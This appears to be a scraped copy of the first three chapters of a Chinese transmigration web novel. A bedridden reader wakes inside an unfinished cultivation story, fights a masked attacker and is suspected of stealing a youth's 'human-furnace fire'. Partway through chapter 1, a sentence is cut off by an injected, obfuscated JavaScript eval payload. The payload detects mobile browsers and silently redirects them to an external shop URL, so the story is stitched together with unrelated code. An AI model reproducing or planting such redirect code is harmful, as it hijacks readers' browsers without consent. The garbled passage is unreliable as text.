《男主教我当反派》 1. 穿书填坑 冰天雪地寒风呼啸,刺骨冷风从四面八方吹来,永不停歇、永无止尽。 夜色让这种寒意更甚,似乎漆黑永夜再也没有光明,无论如何都没有出路。 四周又泛着微弱的光,让人能刚好看清惨白的雪。 白雪上没有任何建筑,只有山崖和冰雪。 这是荒无人烟的山巅,漫天风雪席卷一切。 在这冰寒刺骨的深夜有两个人在争吵,听起来像是互相指责。虽然一高一低,一立一蹲,但谁都没有退让,谁也没有妥协。 尽管始终没有分出胜负。 那两个人旁边还有个白发老头倒地不起,双眼紧闭,面无血色,看起来已经没有气息。 他倒在蹲着的那个少年人后面,衣袍凌乱破碎,上面尽是血色,显然是经过激烈搏斗倒地不起。 少年衣着朴素,伤痕累累,但神色锐利,将老者护在身后。他脚下还闪动着阵法光晕,光芒拂过白发老头周身伤痕,却无济于事。 毕竟人都没了,疗伤也是空谈。 因此那个人逐渐被白雪覆盖。 对面的人戴着面具,面具以深红为底,眉眼像是在怒目圆瞪,仿佛从天而降的发怒神灵。面具人不屑一顾地点评,还伸手想让倒地老者成为囊中之物。 那个少年伸出右手挡住面具人的攻击,血流一地也没有退缩。 眼看两人就要打起来,不远处却骤然传来一声巨响,有什么东西从一侧山崖上坠落下来。 雪地里腾起一点云烟,似乎有点热气,又像是在施法。 过了一会儿,那两个人才确定是挂在山崖上的人掉了下来。 之前那人被阵法钉死在崖壁上,按理来说不可能下坠。 ——除非阵法自行消失。 齐云鲤颤颤巍巍醒过来,发现自己竟然在雪里,即使她卧床不起也犯不着这种死法,莫非病死都是一种奢望?年纪轻轻就重病缠身难道还不够惨? 苍白的雪里躺着一个青衣女子,衣服上尽是血迹,仿佛进过血色染缸,之前的老者和少年加起来都没这么多血。 失血量过大,显然已经超出活人范畴,也就是说那个人估计已经身亡。 不过齐云鲤没低头,也就没发现此事,她只是感觉自己好像是掉到雪里,四周只有寒意。 之前耳边传来一些争吵,但现在已经彻底消失。 她搞不清是什么情况,只能艰难抬头,然后就看到不远处有两个人都瞪着她。蹲着的那个是少年模样,不过眉头紧锁;站着的那个头戴面具,一看就不正常。 要说有什么类似记忆,只能说之前看过一本热门断更小说。最开始是男主跟师父上山挖草药,冰天雪地、艰难求生。 小说情节一波三折,男主更是凄惨至极,他历经千难万险好不容易要展露头角,结果师门被灭,小说断更。 读者吵来吵去,恨不得将作者本人拖出来游行示众。但最终也没有下文,至今为止小说依然断更,作者仍旧没有出现。 齐云鲤只是个普普通通的围观群众,并没有参与任何骂战。 想到这里,她才发现那个少年后面还躺着一个人,头发花白。 二者特征跟小说男主和他师父吻合,只是他最开始手无缚鸡之力,完全不能打。但眼前那个少年还能徒手挡住阵法攻击,这也太能打了吧? 而且对面那个面具人是谁,小说里根本没出现过这号人物。 ——她又是以什么身份出现在这里? 小说里也没她这个人吧? 齐云鲤抬头跟那两个人分别对视一眼,然后就看到他们都冲过来,凶神恶煞、杀气腾腾。 在被打中的一瞬间,她看到远处雪地里有红梅,红得好像她吐出来的血。 她毫不意外地昏迷,和过去几个月里一模一样。 已经在病床上躺了几个月的齐云鲤对此早就习以为常。 昏暗黑暗,安静寂静,都很常见。 只是今天不太安宁,耳边时不时有人说话,唠唠叨叨、没完没了。 ——刚才那两个人不是没说话吗? 齐云鲤迷惑地睁开双眼,发现四周昏暗无光,也没有寒风吹拂,完全不是之前的冰天雪地。旁边黑漆漆的地方像是站着一个人,貌似还有点抖。 “……你哪位?”她只好有气无力地问。 “苍天啊,终于醒了!皇天不负有心人!” 黑暗里传来响亮惊叹,然后有人点燃一盏油灯,在漆黑的夜里照亮四周。 “天呐,你终于醒了,我还以为你不会醒,时间过去太久,现在已经是……”一个菩萨打扮的人很是激动,面貌慈悲,不过脸上还有泪水,又哭又说。 ——她的打扮还算精致,只是虽然扮相不错,但神情太过凄惨。 她的声音是多人混杂,仿佛同时有好几个人在开口说话。 苏醒过来的齐云鲤睡眼朦胧,她环视一圈,发现四周都很破旧,眼前这菩萨打扮的人不知道哭了多久,于是开口问:“你谁啊?” 细弱的声音像洪钟一般荡开,菩萨打扮的人一愣,随后站直。她身体向后退去,站在一个平台上,平淡地说:“稍等片刻。” 声音正常很多,只剩下两个人声,然后变成一座千手观音风格的雕像。 屋内瞬间安静下来,前所未有的安静。 齐云鲤看着那尊雕像,发现雕得相当糊弄,差不多只有一个基础形态。之前那个菩萨比雕像好看很多,现在就变回丑样。 雕像只有正中央的人形稍微细致点,周围手臂什么的,就是一个弯弯曲曲的棍子前面有五个小凸起。中央的人形勉强还雕了一下脸和衣服,虽然很粗糙。 雕像的脸很简单,没有精雕细琢,不过五官看起来还算温和。 衣服只有些简单装饰,算是之前那个菩萨的粗糙版。 那雕像明显就是外行弄的,像齐云鲤这样的外行。 她还在想刚才是不是同时被两个人打,那两个貌似之前在吵架,发现她醒了就一起冲过来打她。 自己一脸茫然就惨遭毒手。 齐云鲤转头看向其他地方,这里看起来像是一间庙,但是没有正常庙宇里那些摆设,只是有个大致布局。 四周陈旧破败,没有任何香火。 虽是室内但凉风阵阵,透着一股阴寒,显得屋里那点灯火都有点阴冷。 她发现自己躺在一个木台上,导致又有种要入土的感觉。 阴风阵阵之处有一座雕像,看起来实在不是好事。 感觉都有点像恐怖片开头,而自己就是受害者。 这里已经很破,四周墙壁都是缝隙,加上那糊弄的雕像,这地方看起来基本要完。 齐云鲤低头发现自己穿着一件橙黄色的交领衣服,上面有些竹青色花纹,仿佛掉了半身竹叶。 按理来说她不会穿这种衣服,不过貌似有其他人喜欢。 她爬起来走了几步,想推门出去,忽然望见窗外一棵玉兰。 玉兰树开着皎洁的花,在深沉夜色中带着一丝光亮,是黑夜里唯一的光。 四周漆黑一片,也不知白玉兰上的光从何而来。 白玉兰的光比之前的冰雪更轻更柔,仿佛再暗无天日也能照亮前路。 之前感觉还阴森的室内,似乎变为寻常人家的居所。 齐云鲤瞬间清醒过来,回头望向那尊雕像,听见几个人有点抱怨的声音:“这人怎么这样啊?” 随后又转换成一个正经声调,变成一个女声:“请留步。” 齐云鲤转过身去,眼角余光里仍有那棵白玉兰,玉兰的光虽然很微弱,却似乎给她指明一条路。 正常情况下不应该出现当前这种情景,再怎么样出现的也应该是医生和护士。这地方稀奇古怪,人也奇形怪状。 看起来仿佛是被绑架,但绑匪很不靠谱。 那个雕像又变成菩萨打扮的人,只是神情冷静很多。 “在下石月观音,不知阁下尊姓大名。”菩萨打扮的人一颔首,先自我介绍。 这名字一听就很诡异,齐云鲤当然没有作答,而是问:“你想干什么?” “我只是想知道你的名字。”石月观音很客气,态度总算跟形象吻合。 齐云鲤感觉她没安好心:“如果我不说呢?” “彼此交换一下姓名也是基本礼仪吧?” 齐云鲤怀疑:“我怎么确定这是你的真名?” “我骗你干什么?”石月观音似乎有点急。 ——信这个人是绑匪,还不如信齐云鲤是全球首富。 “就算知道你的名字又能怎么样?”她伸手指向窗外那棵玉兰,“外面这个样子可不是寻常之处。” 虽然没有回答,但是有个提示——这是哪里。 “此地为无名之地,是一个不为世人所知之处,不过也是关键所在。关键就在于,这里是那本超级热门但是坑了的修仙小说——《长夜道枯》。” 石月观音平静地说出这句话,仿佛在宣布什么重磅消息。 《长夜道枯》就是那本热门断更小说,齐云鲤实在没想到还真跟它有关。 那是一本网络连载的热门修仙小说,主角叫卫长夜,一看标题就知道相当倒霉,小说正文全方位表现出他有多倒霉。 卫长夜出身卑微,经历坎坷,谨小慎微,好不容易进入师门,才开始一路反杀,差不多神挡杀神、佛挡杀佛。 大家都以为卫长夜要把天捅出个窟窿,谁知小说突然坑了,再无下文。 在没有读者看好的时候,卫长夜一路披荆斩棘,锄强扶弱。始终跟他的师门鼎山站在一起,正义得都能开表彰大会颁发奖章。 然而在所有读者都看好时,鼎山灭门,卫长夜一身血污倒地不起。 ——关键是看起来让鼎山灭门的就是他。 卫长夜把自己的场子砸了,突如其来的砸场子,没有任何预兆。 并且再也没有下文,仿佛作者已经人间蒸发。 小说里无论男女老少,但凡有名有姓,只要不跟他一起打架,就是被他打。 而且一旦惹了鼎山,卫长夜就要你惨。 所有人都以为卫长夜会因为鼎山干翻天下,没想到最惨的就是鼎山。 读者吵来吵去也就是在争论让鼎山灭门的是谁,有人猜测是神秘人物秋容女仙,也有人猜测就是男主干的,还有人说估计另外有罪魁祸首。 齐云鲤不认为谁有罪,只是觉得小说有很多漏洞,比较可疑。 那些漏洞粗糙得让她不得不怀疑小说作者。 不过现在的问题是之前在雪夜看到的那两个人是谁? 那个少年仿佛就是男主,可男主一开始不会打架,只是被人欺负的小可怜。但那人跟人争吵,还能使用阵法,这根本就不正常。 而且跟他吵架的那个面具人又是谁? ——两个人看起来都很可疑。 齐云鲤左想右想都想不清楚,只能问出大多数读者的疑问。 “鼎山灭门是男主干的吗?” “当然不是!”石月观音义正言辞,“虽然很多人都猜测男主没安好心,但他绝对不是那种人。鼎山教会他一身本事,他当然会出去锄强扶弱、除暴安良,绝不会趁人之危、趁人不备。那些都是恶意猜测,是有人故意引导,把罪名全都堆在他身上。” 她一夸起男主来就滔滔不绝,仿佛还要论证,就像那些吵来吵去的读者。 不过谈话内容跟之前看到的那个少年判若两人。 齐云鲤愈发确定那不是小说男主。 她只好转移话题:“那现在是要干什么?” “小说莫名其妙坑了,滞留于此不得善终,所以你要想办法解决问题。问题没解决,你就不能回去。”石月观音态度坚决,说得很严重。 穿书填坑这种事也不是没听说过。 不过齐云鲤回去也没好事,感觉没什么大不了的。而且那小说太过可疑,断更就断更,她也不执着于结局。 “这地方还能凑合,就在这里呆着吧。” 她拿起角落里的扫帚开始扫地。 石月观音目瞪口呆,实在没想到她竟然没当回事。 事到如今没有其他选择,石月观音只好威胁:“你本来要死了,现在只是命悬一线。要是没有我,你早就死了!” “死就死吧。”齐云鲤完全无所谓,反正也是快死的人。 临死之前这些乱七八糟的事也是层出不穷。 ——可是苦等总该有个结果,不能只有一场空。 于是石月观音大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963655|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊着指向窗外的白玉兰,那是夜幕下唯一的光。 “你要是死了,那她的努力就全都白费!” 齐云鲤对花卉没什么兴趣,但玉兰花蕾也是一种中药,叫辛夷。有散风寒、通鼻窍的功效,对鼻炎有效。 不过这是指紫玉兰。 白玉兰不是紫玉兰,没有药效。 但就像夜色中的玉兰花闪着微光,照亮一小片地方,此时此刻仿佛真有疗效,能驱散心中阴霾。 明明不是药,却仿佛灵丹妙药。 对方没有指名道姓,于是齐云鲤问:“她是谁?” “……你连她都忘了?”石月观音有些不可思议。 ——听起来似乎有什么事,而且绝非好事。 话音下窗外的白玉兰仿佛全都凋谢。 玉兰花要是谢了,自然不是什么好事。 感觉时间紧迫、刻不容缓,稍有不慎就会满盘皆输。 “忘记什么?”齐云鲤记忆有点模糊,只能接着问。 她不记得有什么事,但貌似很重要。 谁知石月观音也问:“你怎么会看那本小说?” 那是本热门小说,很多人都看了,不过齐云鲤不是因此而看。 “有点眼熟,所以看了。” 虽然说得很普通,可是对她来说那小说不是一般的眼熟,总有种似曾相识之感,她都能猜到很多设定。 ——不是剧情,而是设定。 甚至有时候都感觉那是她自己写的。 “前面那么多伏笔,都能推测出后续发展,结果鼎山一朝灭门,满盘皆输,这合理吗?”石月观音愤愤不平地像个被坑的读者。 对于这种表态,齐云鲤很熟悉,因此只是问:“是谁干的?” “我怎么知道,有人猜测是秋容女仙,还有人猜是有幕后黑手,我感觉说不定就是作者写不下去,所以坑了。”石月观音说出大多数读者的猜测。 如果说这是齐云鲤的小说,她不可能写不下去,顶多只是漏洞太多需要弥补。 比如说—— “男主看起来跟其他人就不是一回事,挺可疑的。” “都说了那不是他干的!”石月观音又激动起来,像是要沉冤昭雪。 齐云鲤赶紧解释:“没说是他干的,只是他有点格格不入。” ——这激动得也太过投入。 “他哪里格格不入了?!”石月观音气势汹汹。 就算之前在网上证明男主清白的读者也没这么投入。 ——石月观音仿佛跟男主有很深的利益纠葛,一荣俱荣一损俱损。 齐云鲤尽量说得轻松,结果对面还是不依不挠,她只好说:“……不要激动,也许是什么伏笔。” “伏什么笔?反正灭门惨案不是他干的!”石月观音声音越来越大,仿佛拿着大喇叭。 眼看她就要撒泼打滚,齐云鲤只好找到一个刁钻的角度:“我的意思是……也许他能救呢?” ——这句话很轻很淡,却又仿佛重若千斤。 “这可是你说的。”石月观音伸手一指,像是拍下惊堂木。 “……啊?”被指的齐云鲤没反应过来。 石月观音伸手将她推出门,大声宣告:“你带着他救鼎山!” 这声大吼像是说出最终结局,不过实在荒谬。 齐云鲤拼命抵挡,但还是被推出去,只能勉强问:“我要怎么出去?” “现在正是时候,你附到别人身上就行!” 附身不是一件容易事,石月观音却说得很轻松,让齐云鲤有不祥之感。 感觉这种正当其时的基本没好事,难道之前被人打现在又要被打? “……那是谁啊?” ——莫非刚好有人灵魂出窍? “不认识,去就行了!”石月观音大声否认,却态度肯定。 在被推出去的瞬间,齐云鲤又看到不远处的白玉兰。 白玉兰的光很柔很弱,可在暗夜无光的地方却是一种生机。 仿佛无论如何黑暗,也还是有光。 那微弱的光消失不见,周身瞬间冰冷刺骨,齐云鲤睁眼一看,自己趴在雪里,面前还有滩血,明显就是她吐出来的。 ——这不就是之前被打的地方? 齐云鲤猛然醒悟,这里是《长夜道枯》,不远处的估计就是男主和他师父。 另外那个面具人是干什么的,难道小说断更与他有关? 她抬头一看,那个少年已经被打倒在雪地里,但是看起来并非特别无助。 寒风在周围呼啸,似乎并不能吹灭他的斗志。 那个面具人站在他面前施法,阵法在少年周身盘旋,隐约有什么东西从少年身上透出来。 深红、血红、苍白之外又出现一点金光。 ——那是功法的光。 这是止水宗炼化人炉的方法。 止水宗是小说里的邪魔歪道,人炉是个称呼,通常用来代指身负异能又手无缚鸡之力的人,当然这里的手无缚鸡之力是指打不过魔道。 止水宗靠炼化人炉来获得无穷无尽的功法。 小说男主就是人炉,而且惨遭止水宗毒害。 ——也许鼎山灭门就是来源于此! 齐云鲤气得想爬起来冲过去,不过周身僵硬,完全动不了。 她无可奈何趴在地上,看着不远处的施法布阵,虽然看不懂其中关窍,但她知道即将炼化出很多功法。 即使不知道面具人是谁,不过小说断更八成就跟他有关。 谁家好人会三更半夜爬到鼎山来打人? 那还是鼎山唯一的人炉。 男主只是有点可疑,那个面具人就是明晃晃的挑事。 ——他做的肯定不止这一件事! 就在这时,面具人前方的阵法突然破碎,而且毫无征兆。 阵法一破,炼化出的功法就像烟云一样弥漫开来,寒风呼啸而来的同时也带来功法。齐云鲤得到部分功法,全身冻僵之处骤然舒缓,然后就身轻如燕。 虽然有点不对劲,不过当前解决面具人才是关键! 齐云鲤一跃而起,向着面具人冲过去,自己也没留意此时的身手灵活得不似常人,即使那具身体原本的主人打遍天下无敌手。 2. 打架指导 夜色深沉,鼎山禁地冰天雪地、寒风刺骨,似乎能将一切冻结。 之所以叫禁地是因为这里不利于常人行动,一旦进入周身就会受到压迫。 不过在那种重压下还是有两个人在激烈打斗,似乎禁地压迫不过如此,再怎么天寒地冻也无法阻挡他们行动。 那一袭尽是血色的青衣,这时更像鬼门关通行证。 ——只要拿到证件,就再也没有退路。 “你怎么又活了?命也太硬了吧?!” 面具人相当震惊,他都已经下过两次死手,结果那个断气之人还活过来。就算是有人附身,也会受到修为限制,完全无法调动那具远超常人的躯体。 ——谁知这人还能毫无障碍跟他大打出手? 齐云鲤搞不清对面在震惊什么,一时也没明白自己的所作所为远超小说描写。这个人相当诡异,她又打得很顺手,那就先打着。 毕竟心里憋着一股气,不发泄出来只会死得更快。 因此两人打得相当激烈,仿佛不死不休。 双方打斗在禁地激起一层层气浪,虽有压迫,但似乎压不到他们,谁也没有因此放慢动作。 齐云鲤完全没反应过来,自己熟练得有点过头。 两人打得难解难分时,面具人变出一堵气墙,将齐云鲤震出两丈远,令她退到之前那少年倒地之处。 不过前方似乎突然出现什么东西挡住面具人,让他无法靠近。 虽然令人困惑,可是齐云鲤倒在地上,已经没功夫操心。 她倒在雪里,感到周身压迫骤然上升,貌似已经活到头,看来这就是禁地压迫。 原本叹口气就想放弃,谁知耳边突然传来一个平静的声音。 “赤手空拳没用,得用人炉之火。” ——像是点明关键。 这里除她以外只有个倒地不起的少年。 她转头发现就是那个人,他眉目俊朗,神情淡定,遍体鳞伤也像是无事发生,仿佛生死之事对他而言不过如此。 他旁边倒着一个白发老头,身体已经没有任何起伏,外衣都开始结冰。 ——如此凶险的场景,少年却平静如水。 而且就连齐云鲤都觉得很有压迫,他却若无其事,仿佛禁地压迫无关紧要。 之前感觉他是男主,但当下这种态度显然不是。 只有对出生入死都习以为常的人才能这么淡定。 男主都还没正式入门,怎么对出生入死习以为常。 而且人炉之火是人炉异能,一旦拿到就可以大杀四方。 但这是止水宗专用,他怎么会知道? 要炼化出人炉之火也不简单,刚才面具人的操作根本做不到。 ——难道他还能弄出人炉之火? 要是他以一人之力就能弄出人炉之火,那齐云鲤也不用再操心,此地根本没有她插手的资格。 她顿时觉得很诡异,那容貌俊秀的少年霎时间有点青面獠牙,他越若无其事越像是能让这里无人生还。 之前面具人将他重伤,他现在就要让面具人付出代价。 见她沉默不语,少年再次开口,直接点明一件事:“你刚刚就是用人炉之火奋起反击的。” “……这你都知道?”齐云鲤本就脸色惨白,这时仿佛都要死了。 用人炉炼化出功法还比较常见,可是要弄出人炉之火就不简单。 必须先用特殊方法折磨人炉,等人炉被折磨得求生不得求死不能才可能出现人炉之火,但是成功率还不到三成。 刚才瞬间就让她身轻如燕的必然不是普通功法。 说起来只可能是人炉之火。 旁边这个人炉要是能炼化出人炉之火,那她还有活路吗? 齐云鲤感觉都得灭口了,虽然之前不是她自愿,但事实就是如此。一旦传出去,估计要被万人唾骂,还得以死谢罪。 ——这可是人人得而诛之的大罪。 似乎是知道她在犹豫什么,少年伸手一指便说:“禁地崖壁可以锁住他人修为,用人炉之火把他打过去。” 这是鼎山绝不能外传的秘密,但他说得风轻云淡。 听到这种事,齐云鲤也不好装傻,只能说:“……有点不够。” 人炉之火类似稀世珍宝,可遇不可求。 只要不够谁都没有办法。 就算他能炼化人炉之火,也不可能还有剩余。 谁知那少年竟然真的说:“我还有。” 他打开右手手掌,就有一缕光飘到齐云鲤面前,然后融入躯体。 她瞬间就精神焕发起来,感觉能一口气从禁地冲到鼎山山脚。 这比一个三岁小孩力能扛鼎还离奇。 齐云鲤震惊得都说不出话来,就算是最厉害的鼎山弟子也没这个本事。 ——而男主现在什么都还没学。 再怎么离谱也不至于可疑到这种地步。 难道小说断更与男主有关,不会吧?! 她被突如其来的问题冲昏头脑,过了一会儿才问:“你是谁?” “你又是谁?之前这个人已经死了。”少年没有作答,只是说得极其普通。 ——看到死而复生之人还能若无其事。 他要是小说男主,齐云鲤就能把这里的坑给填了。 双方都在回避身份问题,她只好问:“对面那个是谁?” ——好歹那个人打过他们两个,算是共同的敌人。 “可能弄死你第三次的人,之前已经有过两次。”少年说得稀松平常。 听起来死人像是再正常不过的事,但这里要死的可是齐云鲤。 她不禁有点气:“那你怎么还没死?” 少年没有回答这个问题,只是打量着不远处的山崖,然后点评。 “她能把那个人打到崖壁上,看来你也可以。” 接着他转头一看:“过来了。” 这一瞬间仿佛戏台幕布再次拉开,空荡荡的台子上冲出个头戴面具的武生。 面具人好不容易突破阻挡,气冲冲跑过来,齐云鲤带着人炉之火上去就是一拳,然后朝着禁地崖壁打过去。 虽然还有一堆问题,但是打面具人没问题。 唱戏就唱戏,总好过死无全尸。 《长夜道枯》的男主后期战无不胜,但最开始手无缚鸡之力,而且不是打不过魔道的那种。他相当瘦弱,就像没吃过一顿饱饭。 尽管不是颤颤巍巍,但也弱不禁风,就连走山路都有点问题。 男主父母千方百计将其送到鼎山,鼎山又教又养,最终他才打遍天下无敌手。 不过这都是很久以后的事,刚开始男主就连到鼎山禁地都很勉强,进去挖个草药得躺三天才能恢复。此时他没倒地身亡就是万幸。 刚才那个倒地不起却若无其事,又无所不知的人是谁啊? ——反正不是小说男主。 齐云鲤越想越气,因此下手越来越狠,面具人在这种压力下只能且战且退,不由就退到崖壁那边。 不过可以锁住他人修为的崖壁并没有妨碍面具人,他瞬间就打出一个攻击阵法,阵法盘旋呼啸,仿佛烈风又像烈焰。 在这短暂瞬间,齐云鲤实在想不出该怎么应对这个扑面而来的攻击。 就在攻击阵法即将扑到面前时,一个金色阵法骤然闪现在她跟前,然后跟攻击阵法相撞,纷纷消失无踪。 破碎的阵法光芒又金又银,星星闪闪。 阵法破碎的瞬间,齐云鲤仿佛看到一棵白玉兰。 玉兰花纷纷扬扬洒落一地,那里还站着个女子。 看不清容貌和衣着,只能分辨出蒙着双眼。 齐云鲤有种似曾相识之感,记忆里隐约有个身影。 不过这种感觉稍纵即逝,难以捉摸。 她和面具人都愣住,毕竟这是外来力量。 双方警惕地四周张望,可是看来看去也只有那个倒地不起的少年。 他绝不可能有这个实力,那又是谁干的? 两人看了一圈也没找到可疑之人,只能继续打。 不过面具人似乎有所忌惮,不再铺开阵法,而是将功法缠绕在双手双脚,跟齐云鲤打得有来有回。 打得难解难分时,齐云鲤突然想起鼎山护山大阵,那是一个覆盖所有鼎山中人的阵法,能起到保护和辅助作用。 如果在这里使用护山大阵,或许能跟面具人分出胜负。 原本有点高兴,结果她突然想到男主现在还没正式拜师,身上根本就没有护山大阵。所以自己只能用人炉之火继续打着,虽然不会被打败,但僵持不下的时间太过漫长,仿佛都能打到天亮。 “累教不改!”面具人大喝一声,似乎有点不耐烦。 ——这嚣张气焰绝对有问题。 齐云鲤想起这个人跟小说断更有关,于是沉下心接着打。反正她有无穷无尽的耐心,正如在病床上躺几个月也心平气和。 这个人跟止水宗有关,不过嚣张得不似常人,绝对不是那个为人低调的止水宗开山祖师——菩提汇海。据说他跟秋容女仙很熟,也不知鼎山的事插手多少。 一来这边就发现谁都可疑,还能不能有个正常人? 齐云鲤无奈叹息,正在这时面具人打出一个攻击阵法,犹如泰山压顶,让人瞬间有点窒息。阵法堵住四面八方的去路,让人无处逃生。 ——再厉害也挡不住这一击。 她没伸手抵挡,反正也是白费,又不是有护山大阵。 谁知那压顶攻击落到头顶居然就停了,仿佛有什么东西挡在上方。 虽然不清楚,但貌似是个阵法。 “黄口小儿!”面具人一声怒吼。 然后齐云鲤就望见远处跑来几个人影,白茫茫的雪山总算出现其他颜色,虽然是很深的棕褐色,但眼下那就是生机。 不用猜都知道是鼎山弟子,那么头上那个就是护山大阵。 只有至少两个鼎山中人在一起才能调动护山大阵。 一旦出现,基本就可以神挡杀神佛挡杀佛。 护山大阵的强悍绝非常人可以想象,虽然只有防护作用,但挡住一切外来攻击后就想怎么打就怎么打。 齐云鲤从没发现鼎山弟子这么亲切,顿时有点热泪盈眶。 然后仗着护山大阵在背后,她抓着面具人就是一顿暴打,拳拳到肉,打得相当解恨。至今为止发生一连串匪夷所思的事总算有个了断。 反正跟面具人脱不开干系。 面具人没想到她竟然还跟其他人合作,由此可见绝对不是之前那个人。 ——不是那个人又怎么可能调动那具躯体? 他怎么也想不通,但事已至此只好挣脱束缚,原地消失,化作烟云飘散离去。 鼎山弟子的到来犹如一个上上签。 ——货真价实、绝无仅有的上上签。 齐云鲤认为一定要拿到手。 她原本还站在那里,但是突然看见那个少年瞬间一副伤痛缠身、不能言语的模样,躺在地上似乎就要被压迫致死。 他之前明明没事,还气定神闲。 齐云鲤只好赶紧躺倒,假装受伤惨重,一身血污倒在地上,感觉命不久矣。 一个鼎山弟子顶着巨大压迫跑过来焦急地问:“师叔,你没事吧?” 鼎山弟子人数众多,并没有固定师父,只是挂名到一个长老名下,然后由师兄师姐教学传授道法之类的东西。 他们彼此之间并没有辈分尊卑的说法,大家都是平辈。 齐云鲤实在没想到这具躯体竟然是他们长辈,只能咳嗽几声糊弄一下:“咳咳咳,问题不大……” “那个人好像快不行了,我们先过去看一下。”鼎山弟子深吸一口气。 他们冲过去给少年施法疗伤,尽管受到压迫,但救起人来毫不懈怠。 一时间齐云鲤四周找不出第二人,其他人都在那边施救。 她目瞪口呆,倒地还不行,这还要比谁伤得重? 为了让自己的伤看起来重一点,她只好一阵猛咳,最后吐出一滩血。 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齐云鲤没反应过来,只好伸手一指。 那个鼎山弟子走到她所指的地方,蹲下来摸索,过了一会儿抓起一把雪走过来,然后将雪洒到少年四周。 这原本没有任何意义,可那少年在雪洒下去之后就真的睁开双眼。 齐云鲤目瞪口呆,那个人不可能主动干这种事。 ——也就是说真的有效? 小说里完全没有相关描述,一个字也没有,要是跟修道人士说这种事,还会遭到耻笑。 只不过是齐云鲤觉得施法布阵或许能影响铺设阵法的地方,让那里暂时带有阵法效果。 但这只是她个人猜测,怎么可能真有这种事?! 齐云鲤不禁怀疑起自己到底干了什么。 小说作者至今也没有现身,跟她的住院总天数大概一致。 ……不至于吧? 齐云鲤独自怀疑,另一边的少年已经起身,他想起之前的事就说:“那个人炉之火在……” “不要说这种话。”一个鼎山弟子迅速打断他的话,其余人也纷纷摇头。 大家都知道他是人炉,那么人炉之火就算他的命。 少年解释:“不是你们想的那样,是刚才……” “如果有人要用你炼化人炉之火,那就是要你死。” 鼎山弟子态度坚决得像是铜墙铁壁,跟齐云鲤截然不同。 他稍微打量一下鼎山弟子,然后就看到不远处的齐云鲤。 于是指着那边说:“她刚才好像用了我的人炉之火,不过具体情况我也不清楚……” 鼎山弟子仿佛听到什么天方夜谭:“……啊?” ——用人炉炼化人炉之火,这可是止水宗才会干的事。 他们千辛万苦大半夜爬上鼎山禁地,可不是为了这种事! “师叔,你怎么能干那种事?!”鼎山弟子冲过去怒吼。 被咆哮震住的齐云鲤一脸茫然,她原本还在想小说作者的事。 另一个人大喊:“青滔师伯要是知道了,他能直接扒下你的皮!” ——这话说得相当严重。 齐云鲤知道有什么不对劲,毕竟青滔这个人是绝对惹不起的,鼎山上下谁都惹不起他。他就算赤手空拳也能打得一个修为高深的人满地找牙。 一旦他亲自动手扒皮,绝对没有任何反抗的余地。 小说男主也是在他的苦心培育下才变得打遍天下无敌手。 结果现在被打的仿佛要变成她? “我……干什么了?”齐云鲤不知道自己做了什么伤天害理的事。 几个鼎山弟子义愤填膺:“你居然用他的人炉之火!” 这异口同声的大吼说出一件事。 确有此事,不过人炉之火是他自己拿出来的,不是她为非作歹。 当然,估计谁也不会相信。 毕竟一个人炉拿出自己的人炉之火,这比天方夜谭还不可信。 齐云鲤扫了一眼不远处那个少年,他看起来憔悴又虚弱,还遍体鳞伤,现在看起来仿佛都是自己造成的。 感觉就要被人人得而诛之,实在无话可说,她只好彻底晕了。 ——总不至于让她在这里自生自灭吧? 鼎山弟子自然没有让齐云鲤冻死在禁地,只是用绳子将她扎扎实实捆起来。 “她不会断气吧?”那个少年茫然地问,看起来有点害怕。 鼎山弟子认真说明:“为了防止她突然动手才捆起来的,不用怕。” 这话既是解释,也有安慰。 毕竟那是鼎山唯一的人炉,可千万不能出事。 “之前带我来的那位大师倒在那边。”少年伸手一指,指着个风雪稍小的地方。 鼎山弟子过去收敛尸身,然后问:“这是谁干的?” “之前那个戴面具的……”少年低头一叹。 鼎山弟子亲眼看到面具人在和师叔打斗,只是不清楚具体细节。 因此有人问:“之前发生什么事?” “他要用我炼化人炉之火,这位大师打不过他,最后貌似是那个女的抢了人炉之火才跟他打得不相上下。”少年声音很轻,却是在完整描述事情经过。 ——尽管不是事情原貌。 “她只是用?”鼎山弟子有点怀疑。 少年摇头叹息:“不然我也死了……” 这个解释还算合情合理,毕竟鼎山中人基本不会干伤天害理的事。 何况若真是师叔动手,这个少年也不会帮她说话。 他看起来就身体羸弱,没必要冒那么大风险。 鼎山弟子这才不去计较齐云鲤的所作所为,只是绳子还继续捆着。 他们用阵法将几人带出禁地,来到鼎山最高处的院落——飞泉院。 那里有鼎山除掌门以外权力最大的人。 3. 赐名 鼎山地势较高,地形也比较陡,远远望去仿佛一个丹炉。禁地在丹炉最顶端,飞泉院就在下方打开炉盖的位置。 既是打开丹炉的关键,也是掌管鼎山的核心。 此时鼎山掌门正闭关修炼,因此大小事务都交给他人处理。 飞泉院是鼎山的关键所在,院落位于山巅,没有水源。 之所以叫这个名字是由于鼎山开山祖师名为天一道人,而天一生水。 ——泉也就是水。 飞泉院的布置并不繁琐,只是简单有序,让人能松口气。 似乎再大的压力也能顺水而去。 鼎山弟子将其中两人放置在飞泉院内院,交给负责医疗的人处理。接着就在外面跟那个少年说起各种注意事项,生怕他一不小心又惹上麻烦。 外面恰好有一棵白玉兰,于是众人便在玉兰花下说起来。 飞泉院地势很高,本来不会种花草,但那棵白玉兰似乎是专门施法保护起来的。 夜色下原本还有些憔悴的院落也因皎洁花瓣精神抖擞,仿佛没有什么顾虑。 那少年原本就是人炉,还惨遭止水宗迫害,现在又被折磨出人炉之火,对邪魔歪道来说那就是稀世珍宝。 因此再怎么小心提防也不为过。 鼎山弟子从鼎山山脚说到山顶,再说山下,继而逐步扩大,最后放眼天下。 眼下并不太平,随时随地都有可能要人命。 普通人都不安全,人炉更是危险重重。 外面一群人热烈讨论时,飞泉院的屋内站着一个,坐着一个,还躺着一个。 室内摆设还算简单,只是堆放着不少书籍。靠墙有张小床,方便和衣而卧。 